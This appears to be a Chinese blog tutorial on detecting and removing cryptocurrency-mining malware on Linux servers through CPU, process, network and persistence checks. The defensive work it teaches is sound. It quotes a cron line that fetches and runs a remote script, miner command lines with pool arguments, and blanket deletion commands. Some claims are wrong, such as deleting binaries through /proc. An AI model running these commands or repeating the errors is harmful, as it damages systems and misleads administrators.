news 2026/6/13 15:56:12

【Linux 服务器挖矿程序 CPU 占用判断指南(保姆级教程)】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Linux 服务器挖矿程序 CPU 占用判断指南(保姆级教程)】

Linux 服务器挖矿程序 CPU 占用判断指南(保姆级教程)

挖矿程序的核心特征是持续、异常地占用 CPU 资源进行加密货币计算,同时会通过各种手段隐藏自身和实现持久化。本文会列举一套判断方法,覆盖 99% 以上的常见挖矿场景。

第一步:快速判断 CPU 异常

挖矿程序最明显的表现就是 CPU 使用率异常飙升,而且通常是持续满负载,即使重启服务器也会立即复现。

1. 使用 top 命令查看整体 CPU 状态

# 启动top,使用快捷键‘大写P键’按CPU使用率排序# top:实时显示系统进程、CPU、内存、负载的监控工具(默认只显示短命令);-c=Command line / full command,切换显示完整的启动命令行top-c

重点关注这几个指标:

  • us(用户态 CPU):正常服务器 us 值通常在 30% 以下,如果 us 值长期接近 100%,sy(内核态)、wa(IO 等待)、st(虚拟化偷取)都很低,几乎可以肯定是挖矿程序在运行
  • id(空闲 CPU):如果 id 值长期为 0,说明 CPU 完全被占满**
  • load average(系统负载):负载值接近或超过 CPU 核心数(比如 4 核服务器负载长期在 4 以上)
状态us 值sy 值id 值典型表现
正常10-30%5-15%50-80%负载波动大,业务高峰时升高
挖矿80-100%<10%0-10%负载持续稳定在高位,与业务无关

2. 查看 CPU 核心占用分布

挖矿程序经常会占用所有 CPU 核心,或者只占用部分核心来伪装。

# 查看每个CPU核心的使用率mpstat-PALL1

可疑特征:

  • 所有 CPU 核心的 us 值都接近 100%
  • 部分核心长期 100% 占用,其他核心空闲
  • 占用模式非常稳定,几乎没有波动

- mpstat:全称:Multiprocessor Statistics,是 Linux 系统自带的 CPU 状态监控工具,专门统计 CPU / 核心的利用率、中断、空闲等信息。

- -P ALL

-P = 指定监控哪个 CPU 核心
ALL = 监控所有 CPU 核心(包括总 CPU 汇总)
作用:输出每一个 CPU 核心 + 整体 CPU 的数据

- 1:每隔 1 秒刷新一次数据

输出字段
执行后会输出类似这样的内容:

Linux3.10.0-xxxhostname2025-xx-xx _x86_64_ CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle all0.250.000.500.000.000.000.000.000.0099.2500.000.000.000.000.000.000.000.000.00100.0010.000.001.000.000.000.000.000.000.0099.00

第二步:识别可疑挖矿进程

找到高 CPU 占用后,下一步就是定位具体的进程。挖矿程序通常会伪装成系统进程,所以不能只看进程名。

1. 列出 CPU 占用最高的进程

# 按CPU使用率排序,显示前10个进程;--sort=-%cpu:按 CPU 降序排序(- 号 = 从大到小)psauxf--sort=-%cpu|head-10# 显示当前 CPU 占用最高的前 10 个进程,并且显示完整的命令行参数ps-efww--sort=-pcpu|head-10

2. 常见的挖矿进程名

以下三类Linux 服务器上 95% 以上挖矿程序的命名模式,它们的命名策略从 “完全不伪装” 到 “深度伪装” 逐步升级。下面将逐个详细介绍每个进程的背景、典型特征、传播方式和识别要点,帮你一眼识破。

一、直接暴露型(最常见,入门级挖矿)

这类挖矿程序最 “诚实”,直接使用自身的真实名称作为进程名,通常是攻击者懒得伪装或者批量脚本自动生成的。虽然容易发现,但传播最广,危害也不小。

1. xmrig

基本介绍:目前最流行的 CPU 挖矿程序,开源且跨平台,主要用于门罗币 (XMR) 挖矿,算力高,资源占用可控

典型特征

  • 进程名:xmrig、xmrigd、xmrig-proxy
  • 命令行参数:通常包含–url、–pool、–user、–algo等矿池连接参数
  • 典型示例:./xmrig --url pool.minexmr.com:4444 --user 45abcdef123456 --pass
    x --threads

传播方式:WebShell、Redis 未授权访问、SSH 弱密码、Docker 漏洞
识别要点:命令行参数中一定会有矿池地址和钱包地址,这是铁证

2. minerd/cpuminer

基本介绍:最早的 CPU 挖矿程序之一,历史悠久,变种极多,主要用于比特币早期和各种山寨币挖矿

典型特征

  • 进程名:minerd、cpuminer、cpuminer-multi
  • 命令行参数:-o(矿池地址)、-u(用户名)、-p(密码)
  • 典型示例:./minerd -o stratum+tcp://pool.xxx.com:3333 -u user -p pass

传播方式:主要通过旧漏洞传播,现在已经逐渐被 xmrig 取代
识别要点:看到minerd这个名字基本可以直接判定为挖矿程序

3. kdevtmpfsi
基本介绍:2020 年爆发的大规模挖矿蠕虫,专门针对 Linux 服务器,传播速度极快
典型特征

  • 进程名:kdevtmpfsi、kinsing(它的守护进程)
  • 会自动杀死其他挖矿程序,独占 CPU 资源
  • 会修改系统配置,禁用防火墙和 SELinux

传播方式:Redis 未授权访问漏洞(最主要)、SSH 弱密码
识别要点:同时出现 kdevtmpfsi 和 kinsing 两个进程是其标志性特征

4. watchdogs

基本介绍:一个非常顽固的挖矿蠕虫,以难以彻底清除著称
典型特征

  • 进程名:watchdogs、watchdog
  • 会在多个位置写入持久化机制
  • 会监控其他挖矿进程,发现后立即杀死

传播方式:Redis 未授权访问、Hadoop YARN 未授权访问
识别要点:即使你杀死进程并删除文件,它也会通过其他持久化机制在几分钟内复活

5. sysupdate/networkservice

基本介绍:近两年非常流行的挖矿程序,伪装成系统服务名称
典型特征

  • 进程名:sysupdate、networkservice、systemupdate
  • 会创建同名的 systemd 服务实现持久化
  • 会下载并运行其他恶意程序

传播方式:WebShell、Docker API 未授权访问
识别要点:正常 Linux 系统中没有名为sysupdate或networkservice的系统服务

二、伪装系统进程型(中级挖矿,最具迷惑性)

这类挖矿程序是目前最主流的,它们会使用和 Linux 系统进程完全相同的名称,让管理员误以为是正常的系统进程。这是最容易被忽略的挖矿类型。

核心识别原则
所有伪装的系统进程都有一个共同弱点:它们的真实路径和父进程关系与正常系统进程不同。

1. kworker

正常系统进程:

  • 路径:/usr/bin/kworker 或 内核线程(无路径)
  • 父进程:PID 2(kthreadd)
  • 命令行:无任何参数

伪装挖矿进程:

  • 路径:/tmp/kworker、/dev/shm/kworker、/var/tmp/kworker
  • 父进程:bash、sh、crond、python
  • 命令行:通常有参数,或者虽然无参数但 CPU 占用 100%

识别命令:

# 查看所有kworker进程的路径# /proc/$pid/exe:Linux 里每个进程都有这个文件,指向进程真正的可执行程序forpidin$(pgrep kworker);doecho"PID:$pid, Path:$(ls-l/proc/$pid/exe)"done

2. kswapd0

正常系统进程:

  • 功能:负责虚拟内存交换
  • 路径:内核线程(无路径)
  • 父进程:PID 2(kthreadd)
  • CPU 占用:通常很低,只有在内存不足时才会升高

伪装挖矿进程:

  • 路径:/tmp/kswapd0、/dev/shm/kswapd0
  • CPU 占用:持续 100%,与内存使用情况无关

识别要点:如果你的服务器内存充足,但kswapd0进程 CPU 占用 100%,一定是挖矿程序

3. systemd

正常系统进程:

  • PID:永远是 1
  • 路径:/usr/lib/systemd/systemd
  • 父进程:0(内核)

伪装挖矿进程:

  • PID:大于 1
  • 路径:/tmp/systemd、/dev/shm/systemd
  • 父进程:crond、bash

识别要点:所有 PID 大于 1 的 systemd 进程都是假的

  1. crond

正常系统进程:

  • 路径:/usr/sbin/crond
  • 父进程:PID 1(systemd)
  • CPU 占用:通常很低

伪装挖矿进程:

  • 路径:/tmp/crond、/var/tmp/crond
  • 会有多个同名进程同时运行
  • CPU 占用:每个进程都占用一个核心 100%

识别要点:正常系统中只有一个 crond 进程在运行

6. sshd/httpd/java

正常系统进程:

  • 路径:分别在/usr/sbin/sshd、/usr/sbin/httpd、/usr/bin/java
  • 有正常的网络连接和文件操作

伪装挖矿进程:

  • 路径:在临时目录
  • 没有对应的服务端口在监听(比如伪装的 sshd 不监听 22 端口)
  • 网络连接都是连接到境外矿池

识别命令:

# 查看所有java进程的网络连接# pgrep:通过名字找进程# ss -antp:ss=Linux 查看网络连接、端口、Socket的命令; -a=显示所有连接; -n=不解析域名(显示纯数字 IP); -t=只看 TCP 连接; -p=显示进程 PID / 程序名forpidin$(pgrepjava);doecho"PID:$pid"ss-antp|grep$piddone

三、随机字符串型(高级挖矿,最难检测)

这类挖矿程序是目前最先进的,它们每次感染都会生成一个随机的字符串作为进程名,没有固定的特征,无法通过进程名匹配来检测。

典型特征

  • 进程名:由 4-8 个大小写字母和数字组成的随机字符串,如qW3xT、Ddgs、a7d2f9、x8sK2p等
  • 路径:几乎都在/tmp、/dev/shm、/var/tmp等临时目录
  • 文件属性:通常是隐藏文件(以.开头)
  • 网络连接:一定会连接到境外矿池的 3333、4444、5555、8888 等端口
  • 持久化:通过计划任务或 systemd 服务实现,并且会定时更新进程名

检测方法(唯一有效的方法)

由于没有固定的进程名,只能通过行为特征来检测:

CPU 占用特征:

# 找出所有CPU占用超过80%的进程# awk '$3>80 {print $0}:只要满足$3>80,就执行{print $0}; $3>80=ps aux的列顺序取第3列,也就是%cpu,>80=所有CPU占用超过80%的进程; {print $0}=打印整行psaux--sort=-%cpu|awk'$3>80 {print $0}'

路径特征:

# 找出所有在临时目录中运行的进程# /dev/shm:内存临时文件系统;/var/tmp:另一个系统临时目录psaux|grep-E"/tmp|/dev/shm|/var/tmp"|grep-vgrep

网络连接特征:

# 找出所有连接到常见矿池端口的进程# state established:只保留ESTABLISHED 活跃已握手连接;过滤掉 LISTEN 监听、TIME_WAIT 关闭等待等无效状态,只看正在和矿池通信的链路。# 3333/4444/5555/8888/9999 是门罗币、莱特币、比特币矿池 Stratum 协议最常用外联端口。ss-antpstate established|grep-E":3333|:4444|:5555|:8888|:9999"

典型示例

# 一个典型的随机字符串挖矿进程root1234599.90.1123456789? Sl10:0050:00 /tmp/.x8sK2p
  • CPU 占用 99.9%
  • 路径在/tmp目录
  • 是隐藏文件(以.开头)
  • 进程名是随机字符串

四、通用识别与清除步骤

1. 识别步骤(按优先级)

  • 运行top -c,找出 CPU 占用最高的进程
  • 运行ls -l /proc/PID/exe,检查进程路径是否在临时目录
  • 运行cat /proc/PID/cmdline | tr ‘\0’ ’ ',查看是否有矿池连接参数
  • 运行ss -antp | grep PID,查看是否有连接到境外矿池的网络连接
  • 运行ps -ef | grep PID,检查父进程是否正常

2. 清除步骤(按顺序)

1.先清除持久化机制:

  • 删除可疑的计划任务:crontab -r -u 用户名(危险!一定确认清楚再删)
  • 删除可疑的 systemd 服务:systemctl stop 服务名 && systemctl disable 服务名 && rm
    /etc/systemd/system/服务名.service
  • 删除/etc/ld.so.preload中的可疑内容

2.再杀死进程:

kill-9PID

3.最后删除文件:

rm-f/proc/PID/exerm-rf/tmp/* /dev/shm/* /var/tmp/*

4.找到并修复入侵入口:这是最重要的一步,否则会反复被感染

3.如何识别伪装的系统进程(关键技巧)

很多挖矿程序会伪装成kworker、systemd等系统进程名,但通过以下方法可以轻松识破:

技巧 1:检查进程的真实路径

# 替换PID为可疑进程的IDls-l/proc/PID/exe

判断标准:

✅ 正常系统进程:路径在/usr/bin、/usr/sbin、/sbin等受保护目录
❌ 可疑挖矿进程:路径在/tmp、/dev/shm、/var/tmp等临时目录,或者路径不存在(显示 deleted)

示例:

# 正常的kworker进程lrwxrwxrwx1root root0Jun810:00 /proc/123/exe ->/usr/bin/kworker# 伪装的挖矿进程lrwxrwxrwx1root root0Jun810:00 /proc/456/exe ->/tmp/.X11-unix/httpd

技巧 2:检查命令行参数

# 查看进程的完整命令行cat/proc/PID/cmdline|tr'\0'' '

可疑特征:

  • 包含–url、–pool、–user、–pass等矿池连接参数
  • 包含stratum+tcp://、stratum+ssl://等矿池协议
  • 正常系统进程(如kworker)通常没有任何命令行参数

示例:

/tmp/xmrig--urlpool.minexmr.com:4444--user45abcdef123456--passx

技巧 3:检查父进程关系

# 查看进程树psauxf--sort=-%cpu# 查看特定进程的父进程ps-ef|grepPID

判断标准:

✅ 正常系统进程:父进程是systemd(PID 1)或内核线程
❌ 可疑挖矿进程:父进程是bash、sh、python、crond等

第三步:检查网络连接特征

挖矿程序必须连接到矿池服务器才能工作,这是最可靠的判断依据之一。

1. 查看进程的网络连接

挖矿程序必须连接到矿池服务器才能工作,这是最可靠的判断依据之一。

1. 查看进程的网络连接

# 替换PID为可疑进程的IDss-antp|grepPID# 或者使用lsoflsof-pPID-i

2. 常见的矿池特征

  • 端口:3333、4444、5555、8888、9999、14433、14444 等
  • 域名:包含pool、mine、xmr、btc、eth等关键词
  • IP:大多是境外 IP(美国、荷兰、新加坡等)

可疑示例:

tcp00192.168.1.100:54321185.199.108.153:4444 ESTABLISHED1234/xmrig tcp00192.168.1.100:3456791.121.67.123:8888 ESTABLISHED4567/python

3. 全局扫描可疑网络连接

# 查看所有对外的TCP连接ss-antpstate established|grep-v127.0.0.1# 查看所有监听端口ss-tlnp

第四步:排查持久化机制

挖矿程序几乎都会设置持久化机制,确保服务器重启后仍然能运行。即使你杀死了进程,它也会在几分钟后自动复活。

1. 检查所有用户的计划任务

# 遍历所有用户的crontabforuserin$(cut-f1-d: /etc/passwd);doecho"===$user==="crontab-l-u$user2>/dev/nulldone# 检查系统级计划任务cat/etc/crontabls-l/etc/cron.d/ls-l/etc/cron.hourly/ls-l/etc/cron.daily/

可疑特征:

  • 每分钟或每 10 分钟执行一次的脚本
  • 从外部 URL 下载并执行脚本:wget http://xxx/xxx.sh | bash
  • 执行临时目录中的脚本:/tmp/xxx.sh、/dev/shm/xxx.sh

2.检查系统启动项

# 查看systemd服务systemctl list-unit-files|grepenabled systemctl list-timers# 查看rc.localcat/etc/rc.local# 查看环境变量和登录脚本cat/etc/profilecat/etc/bashrccat~/.bashrccat~/.bash_profile

3. 检查 SSH 授权密钥

# 查看所有用户的authorized_keysfind/home-nameauthorized_keyscat/root/.ssh/authorized_keys

可疑特征:出现你不认识的公钥。

第五步:高级检测(应对隐藏挖矿)

有些高级挖矿程序会使用 Rootkit 技术隐藏进程和文件,导致 top、ps 等常规工具看不到异常,但 CPU 仍然 100% 占用。

1. 检测隐藏进程

# 安装unhide工具aptinstallunhide# Ubuntu/Debianyuminstallunhide# CentOS/RHEL# 扫描隐藏进程unhide proc unhide sys unhide brute

如果 unhide 扫描出了常规工具看不到的进程,几乎可以肯定是 Rootkit 隐藏的挖矿程序。

2. 检测系统命令劫持

很多挖矿程序会修改/etc/ld.so.preload文件,劫持系统命令来隐藏自身。

# 检查ld.so.preload文件cat/etc/ld.so.preload# 检查LD_PRELOAD环境变量echo$LD_PRELOAD

可疑特征:文件不为空,包含.so动态链接库文件路径。

3. 使用静态编译工具验证

如果怀疑系统命令被篡改,可以使用 busybox(静态编译,不依赖系统库)来验证:

# 下载busyboxwgethttps://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busyboxchmod+x busybox# 使用busybox的命令./busyboxpsaux|head-10./busyboxls-l/proc/

如果 busybox 看到的进程和系统 ps 命令看到的不一样,说明系统命令已经被劫持。

六、快速检查清单(紧急情况下使用)

✅ 运行top -c,查看 us 值是否长期接近 100%
✅ 运行ps aux --sort=-%cpu | head -10,找高 CPU 进程
✅ 对可疑 PID 运行ls -l /proc/PID/exe,检查路径是否在临时目录
✅ 运行ss -antp,查看是否有连接到 3333、4444 等端口的境外 IP
✅ 运行crontab -l和cat /etc/crontab,检查可疑计划任务
✅ 运行cat /etc/ld.so.preload,检查是否有动态链接库劫持
✅ 如果常规工具看不到异常,安装 unhide 扫描隐藏进程

七、重要注意事项

  • 不要轻易杀死进程:先备份证据,记录 PID、路径、网络连接等信息,然后再处理
  • 不要只杀死进程:必须同时清除所有持久化机制(计划任务、启动项等),否则会立即复活
  • 如果发现 Rootkit:强烈建议直接重装系统,不要试图清理,因为 Rootkit 会深度感染系统
  • 找到入侵入口:挖矿程序通常是通过漏洞(如 Redis 未授权访问、SSH 弱密码、WebShell)植入的,必须修复漏洞才能防止再次被入侵
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/13 15:51:56

保姆级教程:想用Zemax或Code V设计非球面透镜?先弄懂‘成都光明D-K9’这类模压玻璃材料的特性与选型

非球面透镜设计实战&#xff1a;从D-K9材料特性到Zemax仿真的完整指南在光学设计领域&#xff0c;非球面透镜正逐渐成为提升系统性能的关键元件。与传统的球面透镜相比&#xff0c;非球面能够有效校正像差、减少元件数量并优化系统体积。然而&#xff0c;当我们在Zemax或Code V…

作者头像 李华
网站建设 2026/6/13 15:51:55

SPSS卡方检验保姆级教程:从交叉表到结果解读,手把手搞定数据分析

SPSS卡方检验实战指南&#xff1a;从数据准备到深度解读1. 卡方检验的核心概念与应用场景卡方检验是数据分析领域最常用的非参数检验方法之一&#xff0c;特别适合处理分类变量之间的关系验证。想象一下这样的场景&#xff1a;你手头有一份电商平台的用户数据&#xff0c;包含性…

作者头像 李华
网站建设 2026/6/13 15:49:52

如何在Windows电脑上安装APK文件:APK安装器终极指南

如何在Windows电脑上安装APK文件&#xff1a;APK安装器终极指南 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经想在Windows电脑上直接运行安卓应用&#xf…

作者头像 李华
网站建设 2026/6/13 15:45:55

3分钟快速上手:免费B站视频解析API完整指南

3分钟快速上手&#xff1a;免费B站视频解析API完整指南 【免费下载链接】bilibili-parse bilibili Video API 项目地址: https://gitcode.com/gh_mirrors/bi/bilibili-parse 你是否遇到过想要保存B站精彩视频却找不到下载方法的困扰&#xff1f;或者作为开发者&#xff…

作者头像 李华
网站建设 2026/6/13 15:40:52

如何3步永久保存微信聊天记录:WeChatMsg开源工具完整指南

如何3步永久保存微信聊天记录&#xff1a;WeChatMsg开源工具完整指南 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/We…

作者头像 李华